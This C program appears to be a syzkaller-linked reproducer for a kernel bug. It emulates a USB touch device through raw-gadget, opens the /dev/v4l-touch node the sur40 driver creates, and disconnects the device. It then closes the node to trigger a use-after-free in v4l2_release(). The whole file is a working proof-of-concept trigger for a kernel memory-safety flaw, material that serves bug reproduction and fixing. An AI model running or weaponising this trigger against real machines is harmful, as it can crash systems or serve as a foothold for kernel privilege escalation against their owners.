// https://syzkaller.appspot.com/bug?id=bccfc8219614bc561dfa2654987f0440b8a4585c #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0) struct usb_device_descriptor dev_desc = { .bLength = sizeof(dev_desc), .bDescriptorType = USB_DT_DEVICE, .bcdUSB = 0x0200, .bDeviceClass = 0, .bDeviceSubClass = 0, .bDeviceProtocol = 0, .bMaxPacketSize0 = 64, .idVendor = 0x045e, .idProduct = 0x0775, .bcdDevice = 0x0100, .iManufacturer = 0, .iProduct = 0, .iSerialNumber = 0, .bNumConfigurations = 1, }; static const uint8_t conf_desc[] = { // Config descriptor 9, // bLength 2, // bDescriptorType (USB_DT_CONFIG) 53, 0, // wTotalLength (9+9+35 = 53) 1, // bNumInterfaces 1, // bConfigurationValue 0, // iConfiguration 0x80, // bmAttributes 50, // bMaxPower // Interface descriptor 9, // bLength 4, // bDescriptorType (USB_DT_INTERFACE) 0, // bInterfaceNumber 0, // bAlternateSetting 5, // bNumEndpoints 0xFF, // bInterfaceClass 0, // bInterfaceSubClass 0, // bInterfaceProtocol 0, // iInterface // Endpoint 1 7, // bLength 5, // bDescriptorType (USB_DT_ENDPOINT) 0x81, // bEndpointAddress (IN) 2, // bmAttributes (BULK) 0, 2, // wMaxPacketSize (512) 0, // bInterval // Endpoint 2 7, // bLength 5, // bDescriptorType (USB_DT_ENDPOINT) 0x02, // bEndpointAddress (OUT) 2, // bmAttributes (BULK) 0, 2, // wMaxPacketSize (512) 0, // bInterval // Endpoint 3 7, // bLength 5, // bDescriptorType (USB_DT_ENDPOINT) 0x83, // bEndpointAddress (IN) 2, // bmAttributes (BULK) 0, 2, // wMaxPacketSize (512) 0, // bInterval // Endpoint 4 7, // bLength 5, // bDescriptorType (USB_DT_ENDPOINT) 0x04, // bEndpointAddress (OUT) 2, // bmAttributes (BULK) 0, 2, // wMaxPacketSize (512) 0, // bInterval // Endpoint 5 (TOUCH_ENDPOINT) 7, // bLength 5, // bDescriptorType (USB_DT_ENDPOINT) 0x86, // bEndpointAddress (IN) 2, // bmAttributes (BULK) 0, 2, // wMaxPacketSize (512) 0, // bInterval }; void* gadget_thread(void* arg) { int fd = (int)(long)arg; struct usb_raw_event *event = malloc(sizeof(*event) + 4096); if (!event) { printf("[-] Failed to malloc event\n"); exit(1); } while (1) { event->type = 0; event->length = 4096; if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, event) < 0) { if (errno == EINTR) continue; break; } if (event->type == USB_RAW_EVENT_CONTROL) { struct usb_ctrlrequest *ctrl = (void*)event->data; struct usb_raw_ep_io *io = malloc(sizeof(*io) + 4096); if (!io) { printf("[-] Failed to malloc io\n"); exit(1); } io->ep = 0; io->flags = 0; io->length = 0; if (ctrl->bRequestType == 0x80 && ctrl->bRequest == USB_REQ_GET_DESCRIPTOR) { if ((ctrl->wValue >> 8) == USB_DT_DEVICE) { memcpy(io->data, &dev_desc, sizeof(dev_desc)); io->length = sizeof(dev_desc); } else if ((ctrl->wValue >> 8) == USB_DT_CONFIG) { memcpy(io->data, conf_desc, sizeof(conf_desc)); io->length = sizeof(conf_desc); } else if ((ctrl->wValue >> 8) == USB_DT_STRING) { io->data[0] = 4; io->data[1] = USB_DT_STRING; io->data[2] = 'A'; io->data[3] = 0; io->length = 4; } } else if (ctrl->bRequestType == 0x80 && ctrl->bRequest == 0x00) { // GET_STATUS io->data[0] = 0; io->data[1] = 0; io->length = 2; } // raw_gadget sets ep0_out_pending for all wLength == 0 requests, requiring EP0_READ if ((ctrl->bRequestType & USB_DIR_IN) && ctrl->wLength > 0) { if (io->length == 0) { io->length = ctrl->wLength > 4096 ? 4096 : ctrl->wLength; memset(io->data, 0, io->length); } else if (ctrl->wLength < io->length) { io->length = ctrl->wLength; } ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io); } else { io->length = ctrl->wLength > 4096 ? 4096 : ctrl->wLength; ioctl(fd, USB_RAW_IOCTL_EP0_READ, io); } free(io); } } free(event); return NULL; } int main() { SETUP_UNBUFFERED_IO(); // Record existing /dev/v4l-touchX devices before connecting int existing_devices[256] = {0}; for (int i = 0; i < 256; i++) { char path[32]; sprintf(path, "/dev/v4l-touch%d", i); if (access(path, F_OK) == 0) { existing_devices[i] = 1; } } int fd = open("/dev/raw-gadget", O_RDWR); if (fd < 0) { printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno)); exit(1); } printf("[+] open /dev/raw-gadget successful.\n"); struct usb_raw_init init; memset(&init, 0, sizeof(init)); init.speed = USB_SPEED_HIGH; strcpy((char *)init.driver_name, "dummy_udc"); strcpy((char *)init.device_name, "dummy_udc.0"); int res = ioctl(fd, USB_RAW_IOCTL_INIT, &init); if (res < 0) { printf("[-] Failed to USB_RAW_IOCTL_INIT: %s\n", strerror(errno)); exit(1); } printf("[+] USB_RAW_IOCTL_INIT successful.\n"); res = ioctl(fd, USB_RAW_IOCTL_RUN, 0); if (res < 0) { printf("[-] Failed to USB_RAW_IOCTL_RUN: %s\n", strerror(errno)); exit(1); } printf("[+] USB_RAW_IOCTL_RUN successful.\n"); pthread_t th; res = pthread_create(&th, NULL, gadget_thread, (void*)(long)fd); if (res != 0) { printf("[-] Failed to pthread_create: %s\n", strerror(res)); exit(1); } printf("[+] pthread_create successful.\n"); // Wait for the new device to appear int target_idx = -1; char target_path[32] = {0}; for (int i = 0; i < 50; i++) { for (int j = 0; j < 256; j++) { if (!existing_devices[j]) { char path[32]; sprintf(path, "/dev/v4l-touch%d", j); if (access(path, F_OK) == 0) { target_idx = j; strcpy(target_path, path); break; } } } if (target_idx != -1) break; usleep(100000); // 100ms } if (target_idx == -1) { printf("[-] Failed to find new /dev/v4l-touchX device\n"); exit(1); } printf("[+] Found new device: %s\n", target_path); int vfd = open(target_path, O_RDWR); if (vfd < 0) { printf("[-] Failed to open v4l-touch: %s\n", strerror(errno)); exit(1); } printf("[+] Successfully opened %s\n", target_path); // Disconnect the USB device. This triggers sur40_disconnect() which frees the sur40_state struct. res = close(fd); if (res < 0) { printf("[-] Failed to close raw-gadget: %s\n", strerror(errno)); exit(1); } printf("[+] close raw-gadget successful.\n"); // Wait for the disconnect routine to finish and the device node to disappear. int disappeared = 0; for (int i = 0; i < 50; i++) { if (access(target_path, F_OK) != 0) { printf("[+] Device node %s removed, disconnect is processing...\n", target_path); disappeared = 1; break; } usleep(100000); // 100ms } if (!disappeared) { printf("[-] Device did not disappear.\n"); close(vfd); exit(1); } // Add a hard sleep to ensure kfree(sur40) has completely finished. int sleep_res = sleep(2); printf("[+] sleep(2) successful. (remaining: %d)\n", sleep_res); // Trigger the Use-After-Free in v4l2_release() printf("[+] Closing target device %s to trigger UAF...\n", target_path); res = close(vfd); if (res < 0) { printf("[-] Failed to close target device: %s\n", strerror(errno)); exit(1); } printf("[+] close target device successful.\n"); printf("[+] Done.\n"); return 0; }